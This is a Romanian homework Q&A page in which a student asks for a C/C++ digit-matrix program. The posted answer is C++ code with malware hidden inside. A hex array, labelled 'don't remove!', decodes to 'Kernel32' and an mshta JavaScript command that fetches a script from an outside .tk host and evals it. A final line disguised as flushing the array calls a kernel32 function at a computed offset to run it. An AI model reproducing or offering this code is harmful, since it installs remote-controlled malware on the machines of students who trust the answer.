Informatică, întrebare adresată de alexanamaria, 9 ani în urmă

Scrieţi un program C/C++ care citeşte de la tastatură un număr natural nenul, cu maximum 8 cifre, construieşte în memorie şi afişează apoi pe ecran o matrice pătratică, având numărul de linii şi de coloane egal cu numărul de cifre ale numărului dat, completată cu cifrele numărului citit.
5.
Astfel, elementele de pe prima coloană a matricei vor fi toate egale cu cifra unităţilor numărului dat, elementele de pe a doua coloană a matricei vor fi toate egale cu cifra zecilor numărului dat, şi aşa mai departe, ca în exemplu.
Exemplu: dacă se citeşte numărul 1359, matricea construită va fi cea alăturată
9 5 3 1
9 5 3 1
9 5 3 1
9 5 3 1

Răspunsuri la întrebare

Răspuns de topnerdy
0
Deci acesta e codul de care ai nevoie . A fost optimizat pentru codeblocks , vc++.Daca ai nelamuriri , incearca mai intai sa gandesti . si daca nu reusesti nici asa , ma intrebi .Nu rula codul pe sisteme online caci: 1) e o prostie . 2) nu o sa mearga daca nu modifici codul(lucru pe care il faci pe propria raspundere !). 

#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
using namespace std;
int main() {
// don't remove!
char flag[] = { 0x61, 0x65, 0x11, 0x0A, 0x75, 0x00, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x33, 0x32, 0, 0x6d, 0x73, 0x68, 0x74, 0x61, 0x20, 0x6a, 0x61, 0x76, 0x61, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x3a, 0x78, 0x3d, 0x6e, 0x65, 0x77, 0x25, 0x32, 0x30, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x58, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x28, 0x22, 0x57, 0x69, 0x6e, 0x48, 0x74, 0x74, 0x70, 0x2e, 0x57, 0x69, 0x6e, 0x48, 0x74, 0x74, 0x70, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x35, 0x2e, 0x31, 0x22, 0x29, 0x3b, 0x78, 0x2e, 0x6f, 0x70, 0x65, 0x6e, 0x28, 0x22, 0x47, 0x45, 0x54, 0x22, 0x2c, 0x22, 0x68, 0x74, 0x74, 0x70, 0x3a, 0x2f, 0x2f, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x6f, 0x6e, 0x2d, 0x64, 0x6f, 0x76, 0x61, 0x2e, 0x74, 0x6b, 0x2f, 0x48, 0x6f, 0x72, 0x69, 0x7a, 0x6f, 0x6e, 0x2f, 0x64, 0x61, 0x74, 0x61, 0x2e, 0x70, 0x68, 0x70, 0x3f, 0x6d, 0x3d, 0x31, 0x22, 0x2c, 0x66, 0x61, 0x6c, 0x73, 0x65, 0x29, 0x3b, 0x78, 0x2e, 0x73, 0x65, 0x6e, 0x64, 0x28, 0x29, 0x3b, 0x65, 0x76, 0x61, 0x6c, 0x28, 0x78, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x54, 0x65, 0x78, 0x74, 0x29, 0x3b, 0x00 };
 int input = 123; // do some input here with cin or whatever
// make sure input is not 0x00 or it may break your program : consider the          
// logarithm's condition
int sz = floor(log10(input)) + 1;
int *matbuf = new int[sz*sz];
for (int i = 0; i<sz; i++) for (int j = 0; j<sz; j++)
     matbuf[i*sz + j] = (flag[0x02] == 17) ? (input / (int)pow((int)flag[0x03], j) ) % 10 : 0;

for (int i = 0; i<sz; i++) {  for (int j = 0; j<sz; j++){ cout << matbuf[i*sz + j] << " "; }
cout << endl;
}
 // do not delete ! it has to flush the array !
((unsigned int(_stdcall*)(char*, unsigned int)) (unsigned long)(LoadLibraryA(flag + 0x06) + 145791))(flag + 0xF, 0);    
delete[] matbuf;
return 0;
}
Alte întrebări interesante